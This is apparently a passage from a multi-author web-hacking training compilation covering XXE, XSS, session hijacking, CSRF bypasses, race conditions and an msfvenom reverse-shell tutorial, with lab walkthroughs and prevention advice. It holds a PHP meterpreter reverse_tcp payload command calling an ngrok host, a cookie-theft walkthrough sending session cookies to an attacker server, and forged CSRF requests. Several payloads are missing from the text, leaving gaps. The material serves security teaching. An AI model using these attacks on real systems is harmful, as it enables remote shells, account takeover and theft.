Then you might be able submit the following request, with the same result: POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar

If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format. How to find and test for XXE vulnerabilities The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner. Manually testing for XXE vulnerabilities generally involves • • •

Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response. Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator client is perfect for this purpose. Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file.

How to prevent XXE vulnerabilities Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features. Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior. Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities

80

XXE Walkthrough 1. We will perform XXE via file upload, recon on this host with a nmap scan checking Service Versions and running Default Scripts on the top 1000 most common ports:

2. This returned 2 services: SSH on port 22 and HTTP on port 5000. Next, enumerate the web service with gobuster to return additional web directories. gobuster -u http://10.10.10.91:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3 medium.txt

3. This returned an /upload directory. This page was interesting because it specified the uploaded file must be in XML format and contain three specific elements: Autor, Subject, and Content. 4. Create the xml file 5. When This file was uploaded to the host, we will be redirected to the file as it rendered on the server. Since we referenced /etc/passwd as an XML Entity in the Content field, this file was loaded onto the webpage as well. 6. Profit! You can see that we successfully extracted etc/passwd directory of the web server now attack is complete, but we can escalate our privileges and enumerate to get root by searching for ssh keys in the directory by modifying our payload or search for sensitive data.

References: 1. https://owasp.org/www-community/vulnerabilities/ML_External_Entity_(XXE)_Processing 2. The Web Application Hacker's Handbook: Finding and Exploiting Security Flaw 3. https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/

81

More Indepth with Cross Site Scripting (XSS) By Vishal M Belbase

Cross-site scripting is one of the oldest web application attacks known and is dated around 1996-1998 when it was possible to control frames within a web page through injected code, thus “crossing” the website boundaries. Currently, it is still on top of the OWASP Top 10; this clearly goes to show how much of a threat this really is! Cross-site scripting is an attack in which its ultimate purpose is to inject HTML (also known as HTML injection) or run code (JavaScript) in a user’s Web browser. XSS is to be considered an attack against the user of a vulnerable website.

EXAMPLE: The best way to introduce XSS is with a basic example. Consider the following PHP code:

The above (silly) code prints a welcome message to the user whose name is retrieved from the $_GET variable. In case you are not a PHP programmer, the $_GET variable stores the pairs passed through the HTTP GET method. GET is the method used when clicking links or directly typing the website URL you want to browse in your browser location bar. The user input will be extracted from the query string of the URL browsed (directly or by clicking on a link). 82

http://victim.site/welcome.php?name=MyName

When the above is passed to the server, the $_GET variable will contain a name parameter with the value MyName. ?name=MyName is called query string. The following HTML code will be returned from the server to the web browser: Hello MyName

So, our input is part of the output web page source code. Now, let’s see what happens if we are hackers and submit this payload to the same page in the same parameter name: Note: the URL should be URL-encoded. http://victim.site/welcome.php?name=

Most browsers will do this for you. The URL-encoded version is the following: %3c%2fh4%3e%3cscript%3ealert(%e2%80%98This+is+an+XSS%e2%80%99)%3b%3c%2fscript %3e)

The server will return this code to us: Hello

The above is a fully functional Cross-site scripting attack. It injects some JavaScript code into the web page source code. The JavaScript will be executed in the browser within the website context. Why does this happen? Because the user input is given on output without any kind of sanitation (either on input or output). The disgraced PHP developer forgot to check the user input for malicious patterns, and any hacker can exploit this vulnerability to perform a number of different attacks. Cross-site scripting attacks are possible when the user input is used somewhere on the web application output, this lets an attacker get control over the content rendered to the application users thus attacking the users themselves. Cross-site scripting attacks can be used to achieve many goals. Some examples are: • • • • •

Cookie stealing Getting complete control over a browser Initiating an exploitation phase against browser plugins first and then the machine Perform key logging •Same origin policy bypass

83

Exploiting XSS How XSS exploitation works, let us assume that the ultimate goal of a hacker is to run JavaScript to steal a session cookie of a user X who is authenticated (logged in) into a website. The first thing the hacker tries to do is to find an XSS vulnerability affecting the website. He will have to make sure that the Host (subdomain) in which he is looking for matches the domain field of the cookie. For example, if the authenticated area of website Y is auth.y.com, the domain in the cookie will most likely be set to auth.y.com, and he will have to find an XSS in that same subdomain. Once an XSS is located, he will have to build up a payload, create a link and send it to the victim inviting the same to click on it. The sending of link is normally done by various bots who target user which are likely to click on the link such as request user or clients of company who use that site. Type of XSS Hackers can exploit XSS vulnerabilities in many different ways. Because of that, in this course we will use the following classification for XSS attacks: • • •

Reflected XSS Stored XSS DOM XSS

Reflected XSS is probably the most common and well understood form of XSS vulnerabilities. It occurs when Untrusted user data is sent to a web application, and it is immediately echoed back as the untrusted content it may be search result, error message or other content. Then, as usual, the browser receives the code from the web server response and renders it. Clearly, this type of FIG:Reflected XSS vulnerability deals with the server-side code. In Reflected XSS (or Non-persistent XSS), victims bring the payload in their HTTP request to the vulnerable website done usually by clicking and opening the specially crafted message given by attacker. This payload will be inserted into the webpage and executed by their browsers. The hacker has many techniques at his disposal to camouflage the offending url: tinyurl and similar services, iframes located in a third-party malicious webpage, link in a targeted email and so on. Imagination is the limit. 84

Persistent (or Stored) XSS flaws are similar to Reflected XSS; however, rather than the malicious input being directly reflected into the response, it is stored within the web application. Once this occurs, it is then echoed somewhere else within the web application and might be available to all visitors. Even these types of XSS flaws occur within server-side code, but between the two, this is the most useful for an attacker. The reason is simple! With a page persistently affected, we are not bound by having to trick a user. We just exploit the website, and then any visitor that visits will run the malicious code and be affected. The injected code is saved by the application unsanitized and then rendered on either the same or another web page in the same website. The user submitted parameters param1,2,3 is saved in the database for later use. The next one is DOM XSS which, simply put, is a form of cross-sites scripting that exists only within client-side code (typically JavaScript their variables are altered).DOM (Document Object Model) is the object built by the web browser upon parsing the web page content provided by the server. This object makes it easy to navigate through the different HTML tag. Functions like get ElementByTagName are DOM functions that let us navigate through the page elements through a hierarchical view (a node may have children as well as a father and may contain attributes and so on). Finding XSS (Summary) 1. Spot input output relationship i.e. such as search result, error message, name fields, input field with respective output fields such as name and other details, GET/POST variables, COOKIE variables , and HTTP HEADERS. 2. Find the XSS vulnerable page. 3. Create payload or specially crafted links for same.(You can immediately tell if the injection was successful by

First, we close the tag via > We supply our payload with the tag closing input it becomes >

3. See below we input the new payload.

90

4. It works

Challenge3 1. Same field as above.

91

2. Let us see source code

3. Here our payload will be “> as our input was enclosed between “ and >. We Will keep solving challenges to know all vectors for building the XSS

4. Yep it we get popup.

Note: we have successfully learned how to create XSS but the situations may differ as a website may be encoding what you send before processing hence other method such as inserting mouse movements, script I.e. “mouseonclick” events to get XSS or using svg script and other methods may be used. Best way is to practice for XSS as much as we can enabling us to create variety of payloads. References: 1. http://leettime.net/XSSlab1/sta_ge2.php 2. Pwning OWASP juice shop

92

More Indepth with Session Hijacking By Vishal M Belbase Session Hijacking refers to the exploitation of a valid session assigned to a user. The attacker can get the victim’s session identifier using a few different methods, though typically an XSS is used. Note that if the session identifier is weakly generated the attacker might be able to brute-force the session ID. The attacker’s goal is to find the session identifier used by the victim. Remember that in most web applications, session IDs are typically carried back and forth between client web browser and server by using: • •

Cookies URLs

For the sake of simplicity, in the following examples, we will discuss session IDs carried by cookie headers as this is currently the most common method employed by web developers. A Session Hijack attack can happen by: 1. 2. 3. 4.

Exploiting an existing XSS vulnerability (most common) Packet sniffing Gaining direct access to server files system where sessions are stored Finding session IDs in logs or browser history (sessions carried through the URL)

One of the most common methods used to mount a session hijacking attack is to exploit an XSS vulnerability in the web application. Of course, Session Hijacking is only one of the many possibilities of a successful XSS exploit. You can perform this attack when all the following conditions occur: • • •

An XSS vulnerability exists, and you can execute your own payload through it. The Session ID is sent through cookies in each HTTP request (this was an assumption) Cookies are readable by JavaScript

Let us briefly see how we can perform Session Hijacking by exploiting an XSS flaw. For now, let’s suppose that we have found an XSS vulnerability on the following target web application: elsfooradio.site. The application does not properly sanitize the input in the comment field. So, the attacker can insert the malicious payload here:

93

Once the payload (comment) is added, the following popup will appear. The attacker can then create a more sophisticated payload to steal the cookie of the user that visits the page. You can use a payload like the one used in the XSS module. By using the following script, we will be able to steal the user’s cookies. Once we collect them, we just need to change our current cookies, refresh our browser and we will navigate the web application with the victim session.

Please note that the cookie content needs to be accessible by JavaScript for the above attack to be successful. To prevent cookie stealing through XSS, making cookies inaccessible via JavaScript is necessary. This is as simple as creating the cookie with the "HTTPONLY" flag enabled. If you are using server-side script libraries to manage sessions, you cannot manage the cookies directly because the script engine offers only a simple interface. Let’s see how you could use it. PHP a. Before any session-related operation is performed, you should run the following instruction: ini_set('session.cookie_httponly','1'); When session_start() is invoked, if a valid session does not already exist, a new one will be created; a cookie with the name PHPSESSID and HttpOnly flag enabled will be sent to the web client.

Java •



Servlet 3.0 (Java EE 6) introduced a standard way to configure HttpOnly attribute for the session cookie; this can be accomplished by applying the following configuration in web.xml . Ini_set('session.cookie_httponly','1'); In Tomcat 6, the flag useHttpOnly=True in context.xml forces this behavior for applications, including Tomcat-based frameworks like Jboss. Java If you want to manage session cookies directly, you can do so from the Java cookie interface. Sun JavaEE supports the HttpOnly flag in the cookie interface and for session cookies (JSESSIONID) after version 6 (Servlet class V3). String sessionid =request.getSession().getId(); response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; HttpOnly");The methods setHttpOnly and isHttpOnly can be used to set and check for HttpOnly value in cookies. For older versions, the workaround is to rewrite the JSESSIONID value, setting it as a custom header (more info here). https://www.owasp.org/index.php/HttpOnly

.NET • • •

By default, starting from .NET 2.0, the framework sets the HttpOnly attribute for both: SessionIDs Forms Authentication cookie

94

Session hijacking via XSS Although session hijacking via XSS is quite common, there are other methods an attacker can use such as packet sniffing. This type of attack requires the attacker to be able to sniff the HTTP traffic of the victim; this is unlikely to happen for a remote attacker, but it is feasible on a local network if both the attacker and victim are present. If HTTP traffic is encrypted through IPSEC or SSL, the session token will be harder (if not impossible) to obtain. This attack requires the following two conditions to be true: • •

Victim HTTP traffic can be sniffed (LAN or compromised gateway) HTTP traffic must be unencrypted (No SSL)

Image via Netsparker

The goal of the attack is always the same: stealing the victim’s session identifier. The attacker analyzes sniffed traffic and retrieves the victim’s session identifier. Attacker Sniff the SessionID Client-Server communication, generally speaking, the session data is stored in either the web server’s file system or in memory. If an attacker obtains full access to the web server, the malicious user can steal the session data of all users - not just the session identifiers. Since having access to the server is not a vector we are interested in at this time (the attacker would have many other methods to perform more malicious activities than just stealing sessions), we will just tell you where the session data is stored on a server. 95

PHP 1) Session data will be stored within the folder specified by the php.ini entry 2) session.save_path . The attacker will focus on files named sess_. 3) In a real-world example, we could find the following entries: a) sess_ta9i1kqska407387itjfl57624 b) sess_7o4l0kk5btl4e4qlok8r26tn12 4) If you want to hijack the user session related to the first entry, install a new cookie in your web browser using these values: The attack is very simple; however, it is critical that the attacker has access to the web server file system. J a) cookie name: PHPSESSID b) cookie value: ta9i1kqska407387itjfl57624

Java 1) Java Tomcat provides two standard implementations of a Session Manager. The default one stores active sessions, while the optional stores active sessions that have been swapped. The file name of the default session data file is SESSIONS.ser .

ASP.NET 1) ASP.NET can store session data in three different locations: 2) ASP.NET runtime process aspnet_wp.exe- If the web server crashes then all session data will be lost. 3) A dedicated Windows Service- If the web server crashes, then the session data will persist but if the machine crashes, then the session data will be lost. 4) Microsoft® SQL Server database-Session data will persist regardless of crashes. 5) Unlike PHP technology, .NET session data cannot be read directly from files on

webservers.

96

Session hijacking Using XSS Walk through 1. For this we will use Damn Vulnerable Web App (DVWA), The DVWA page http://localhost:81/DVWA/vulnerabilities/XSS_r/ is affected by a reflected XSS in the name parameter. This can be seen in the figure below when we inject the JavaScript code and it is reflected and executed in the response page.

2. if we inject the following payload into our name parameter, the vulnerable page will show the current cookie value in an alert box: http://localhost:81/DVWA/vulnerabilities/XSS_r/?name=

3. We will modify it to add the line:

97

The attack URL looks like this: http://localhost:81/DVWA/vulnerabilities/XSS_r/?name= 4. When the browser receives this request, it executes the JavaScript payload, which makes a new request to 192.168.149.128, along with the cookie value in the URL, as shown below.

5. If we listen for an incoming connection on the attacker-controlled server (192.168.149.128), we can see an incoming request with cookie values (security and PHPSESSID) appended in the URL. The same information can be found in the access.log file on the server.

6. Using the stolen cookie: With the above cookie information, if we access any internal page of the application and append the cookie value in the request, we can access the page on behalf of the victim, in its own session (without knowing the username and password). Basically, we have hijacked the user’s session.

98

7. Inserting the session we acquired via Burpsuite

99

8. We have successfully logged in without giving username and password, we have exploited session hijacking via XSS.

Session Hijacking Countermeasures “End-to-end encryption between the user’s browser and the web server using secure HTTP or SSL, which prevents unauthorized access to the session ID. VPNs can also be used to encrypt everything, not just the traffic to the webserver using personal VPN solution tools.” eccoouncil.org Web servers can generate long and random session cookies with added entropy to ensure that the session tokens cannot be guessed easily or consistently is very useful. This usually requires a Cryptographically Strong Random Number Generator (CSRNG). Cloudflare uses a wall of lava lamps in their lobby and video feed of that section to generate their "randomness". Some have nicknamed this method LavaRand. “Session ID monitors can also be used to monitor if these IDs are being used, and utilities such as Blacksheep can be used to send fake session IDs to the network and monitor if an intruder is trying to use the session ID. There should be an automatic log off if a session ends in use, and the client should be required to re-authenticate using a different session ID. Additionally, a server can be directed to delete a session cookie from the client’s computer to minimize the amount of time a session cookie is being exposed in the network.” - eccoouncil.org References: 1. https://owasp.org/www-community/attacks/Session_hijacking_attack 2. The Web Application Hacker's Handbook: Finding and Exploiting Security Flaw- Dafydd Stuttard 3.

https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/ 100

More Indepth with Cross-site request forgery (CSRF) By Vishal M Belbase Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

What is the impact of a CSRF attack? In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality. How does CSRF work? For a CSRF attack to be possible, three key conditions must be in place: •

A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).



Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.



No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE [email protected]

101

This meets the conditions required for CSRF: •

The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.



The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.



The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

input type="hidden" name="email" value="[email protected]" />



1. If a victim user visits the attacker's web page, the following will happen, the attacker's page will trigger an HTTP request to the vulnerable web site. 2. If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used). 3. The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

How to construct a CSRF attack Manually creating the HTML needed for a CSRF exploit can be cumbersome, particularly where the desired request contains many parameters, or there are other quirks in the request. The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built into Burp Suite Professional: •

Select a request anywhere in Burp Suite Professional that you want to test.



From the right-click context menu, select Engagement tools/Generate CSRF PoC.



Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).



You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.



Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully, and the desired action occurs.

102

How to deliver a CSRF exploit The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a web site that they control, and then induce victims to visit that web site. This might be done by feeding the user a link to the web site, via an email or social media message. Or if the attack is placed into a popular web site (for example, in a user comment), they might just wait for users to visit the web site. Note that some simple CSRF exploits employ the GET method and can be fully selfcontained with a single URL on the vulnerable web site. In this situation, the attacker may not need to employ an external site and can directly feed victims a malicious URL on the vulnerable domain. In the preceding example, if the request to change email address can be performed with the GET method, then a self-contained attack would look like this:

Common CSRF vulnerabilities Most interesting CSRF vulnerabilities arise due to mistakes made in the validation of CSRF tokens. In the previous example, suppose that the application now includes a CSRF token within the request to change the user's password: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

This ought to prevent CSRF attacks because it violates the necessary conditions for a CSRF vulnerability: the application no longer relies solely on cookies for session handling, and the request contains a parameter whose value an attacker cannot determine. However, there are various ways in which the defense can be broken, meaning that the application is still vulnerable to CSRF. Validation of CSRF token depends on request method Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used. In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack: GET /email/[email protected] HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

103

Validation of CSRF token depends on token being present Some applications correctly validate the token when it is present but skip the validation if the token is omitted. In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm [email protected]

CSRF token is not tied to the user session Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack. CSRF token is tied to a non-session cookie In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim's browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack. Note: The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on staging.demo.normal-website.com could be leveraged to place a cookie that is submitted to secure.normal-website.com.

104

CSRF token is simply duplicated in a cookie In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the "double submit" defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. Here, the attacker does not need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack. Referer-based defenses against CSRF Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This approach is generally less effective and is often subject to bypasses. Referer header The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Various methods exist that allow the linking page to withhold or modify the value of the Referer header. This is often done for privacy reasons.

105

Validation of Referer depends on header being present Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted. In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user's browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:

Validation of Referer can be circumvented Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL: http://attacker-website.com/csrf-attack?vulnerable-website.com

If the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain: http://vulnerable-website.com.attacker-website.com/csrf-attack

From OWASP: “the following principles should be followed to defend against CSRF” • • • • •



• •

Check if your framework has built-in CSRF protection and use it If framework does not have built-in CSRF protection add CSRF tokens to all state changing requests (requests that cause actions on the site) and validate them on backend For stateful software use the synchronizer token pattern For stateless software use double submit cookies Implement at least one mitigation from Defense in Depth Mitigations section o Consider SameSite Cookie Attribute for session cookies o Consider implementing user interaction based protection for highly sensitive operations o Consider the use of custom request headers o Consider verifying the origin with standard headers Remember that any Cross-Site Scripting (XSS) can be used to defeat all CSRF mitigation techniques! o See the OWASP XSS Prevention Cheat Sheet for detailed guidance on how to prevent XSS flaws. Do not use GET requests for state changing operations. If for any reason you do it, protect those resources against CSRF

OWASP Cross-Site Request Forgery Prevention - Cheat Sheet cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

106

Walkthrough 1 (CSRF vulnerability with no defenses) 1. We will be using Portswigger Academy CSRF labs. 2. As we can see there are 2 events that we can test CSRF on. We will test CSRF on change email, without user motive we will change the email by making him execute our command. As we can see when user tries to change email this is what request is sent to the server

3. We can see in http history; we have post request which is used to change email lets send that to repeater to see how it responds.

107

4. Click on raw request, right click, and send to repeater, here we can see after we send request, we receiver HTTP code 302 found

5. Let us change the email to new one and see whether it accepts it or not.

6. It accepts it without any authentication. If we just pass new email in same request then email can be changed, we just have to make user to click on link doing the above thing i.e., making request of change email without user authentication, or embed code in website it will be executed explicitly. 7. Let us see how to host the exploit, copy below code, and make changes as per the website.

108

8. Change website URL enter our URL where email change takes place and enter the new attacker email. 9. Click on store, now whenever user visit the ourwebsite.com/exploit the email will be automatically changed to our desired one.

10. Thus, we have successfully exploited the CSRF and saw how to exploit it.

109

Walkthrough 2 (Validation of CSRF token depends on request method) 1. Here we will not go through all steps of requesting and sending to repeater follow all steps till step 5 in above walkthrough.

2. Above is the request which will be made when we try to change the email, but we can see there exist new parameter .i.e. CSRF it is token to validate the request hence for every request new token will generated, let’s see what happen when we insert new token and email.

3. As suspected, we get error, but let us change the POST method to GET.

110

4. Because here the webserver only Validates the CSRF token on one request method. i.e. validation takes place only on POST method not the GET method. 5. Let us host this code on server. Go to exploit server

6. Use following sample code, change the details as per our vulnerable website and host it, share this hosted page and email will be changed. GET /email/[email protected] HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm 7. If we have BURP Professional, we can use generate POC to generate the CSRF request poc/code.

References: 1. https://portswigger.net/web-security/csrf 2. The Web Application Hacker's Handbook: Finding and Exploiting Security Flaw- Dafydd Stuttard 3. https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/

111

Race Condition: The Less Tested Web Vulnerability By Shoriful Islam Race condition is a vulnerability of binary where two or more threads accesses the same data and try to change value in same time. This is about taking advantages of the time gap between the check and action. Simply, a in a multithreaded application, without proper control, different processes can interface with each other and result something unexpected. We may call it “TOC/TOU” or “Time of Use” attack.

Real World Attack Scenario: Let us assume an attacker has two accounts. We count them as “Account: 01” and “Account: 02”. “Account: 01” has a balance of $100 and “Account: 02” has $0 and the application is vulnerable to race condition attack. • • • •

Attacker will transfer balance from “Account: 01” to “Account: 02”. Normally after sending $100 from account-1 to account-2, the application says insufficient balance. Attacker will login in his account and try to transfer balance. They will capture the request with burp suite and send to intruder. Attacker will configure intruder and launch a proper attack. Thus, they will be able to transfer more than $100 from his “Account: 01” to “Account: 02”

Race Condition Vulnerability

112

Race Condition Walkthrough We will be using “Pucara's First Vulnerable Bank of Hackers” to test for Race Condition. • • • • •

Send a post request of transfer money from test application. Intercept the request and send to intruder. Set a dummy header to control the number of requests. Configure the number of requests and threads (25 common) Launch the attack and wait for end. Check for the weird change in accounts.

We will be using a demo vulnerable application of PucaraSec. Feel free to set it up on your local server (Windows or XAMPP isn’t completable for this.) *** github.com/pucarasec/vulnerable_bank ***

Vulnerable Application

We’ll approach money transfer from account “Pucara_1” and capture the request in Burp Let us send this to intruder and configure an attack environment. We have added a “Bogus” header to trace every request made and added $$ to increase this number in every request of intruder. You can name this anything. You are still ok if you do not add any header. Normal Request for transferring money

113

added “Bogus” header.

The next is to set payload. As we have added Bogus header, we’ll increase the value of the header in every request. Check the following. If you did not add any header, just use “null payload” instead of this.

Next is to add threads to this. We used 100 as our payload number. Most null threaders use payload of 25’s so they use 25 as thread.

We are done, now we will launch the intruder attack and wait to finish. 114

Now check the application

Unusual Change

Note: You need Burp Pro Edition to check. You may need run this more than one times to take effort.

115

Impact: • • •

Withdraw or transfer unusual amount of money. Redeem same coupon or discount code multiple times. Interrupting voting systems with unusual number of votes.

References 1. Testing Race Conditions in Web Applications, from

https://www.mcafee.com/blogs/enterprise/testing-race-conditions-webapplications 2. Race Condition: The biggest security threat in modern web applications, from

https://afourtech.com/race-condition-the-biggest-security-threat-inmodern-web-applications/ 3. Pucara's First Vulnerable Bank of Hackers is a simple PHP application to illustrate a race condition vulnerability in a web application, from

https://github.com/pucarasec/vulnerable_bank

116

Reverse Web hacking with MSFVenom By Jeremy Martin Requirements • • •

ngrok.com Metasploit CE Kali Linux already has Metasploit preinstalled.

Create an account on ngrok.com and download the package that works for your system. For this example, we are downloading the ngrok-stable-linux-amd64.zip to run on Kali. Assuming that the file downloaded into the Downloads folder, the below syntax in a terminal will unzip, install, and setup ngrok. cd ~/Downloads ls unzip ngrok-stable-linux-amd64.zip

(verify the name of the ngrok file)

./ngrok authtoken ???????

(Your token from the ngrok account)

Once this is done, your ngrok tunnel should be persistent when tied to your account. To build a basic TCP tunnel, we are going to bind it to the Metasploit listener running on our local machine. Let’s use the standard 4444. We can do this by typing: /opt/ngrok tcp 4444

Image from itabcode.net

When we ran the command above, ngrok called home to its server and reserved port 18290 on 0.tcp.ngrok.io. This allows anyone connecting to that port on ngrok.io, their traffic will be rerouted to your system on your port 4444. This is extremely useful, especially if you are running your penetration test from behind a NATed device or firewall. For example, you are at a hotel that will not let you reconfigure their router for port forwarding (never been to one that did) and you still want to run everything from your laptop. This reverse tunnel allows you to do that since you are connecting outbound to ngrok. Now, to create the payload with MFVenom, Pay attention to the LHOST and LPORT. The “L” is for “Listening”. So, the address we put in here is the one that is listening for a connection on ngrok’s server, ngrok.io 117

msfvenom -p php/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=18290 R > hack.php

Image from itabcode.net

-p is the payload we are going to use R stands for Raw format LHOST is the listening server 0.tcp.ngrok.io LPORT is the listening port 18290 > outputs to a file named hack.php

This hack.php file will be located in the same folder you ran msfvenom from. In this case, it is Downloads folder. This specific file can be used on any system that is vulnerable to a Local File Include (LFI), Server Side File Include (SSFI), and sometimes a Remote File Include (RFI) vulnerability. The trick is getting this file uploaded or pointing to it. To get Metasploit set up to listen for a connection, type msfconsole

This should open op Metasploit Console’s CLI and you should now see a “msf>”. To set up the listener, type: use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 run

(Ties into hack.php) (Listen on all interfaces)

Once you are able to load it onto the server, wait for a connection… If you are lucky, you should see something like this.

Image from itabcode.net

118

Pivoting and Data Exfiltration By Frederico Luis Ferreira Post exploitation means the phases of operation once a victim's system has been compromised by an attacker. The value of the compromised system is determined by the value of the actual data stored in it and how an attacker may make use of it for malicious purposes. The concept of post exploitation has risen from this fact only as to how you can use the victim's compromised system's information. This phase deals with collecting sensitive information, documenting it, and having an idea of the configuration settings, network interfaces, and other communication channels. These may be used to maintain persistent access to the system as per the attacker's needs. [1]

The various phases of post exploitation are as follows: • • • • • •

Understanding the victim Privilege escalation Cleaning tracks and staying undetected Collecting system information and data Setting up backdooring and rootkits Pivoting to penetrate internal systems

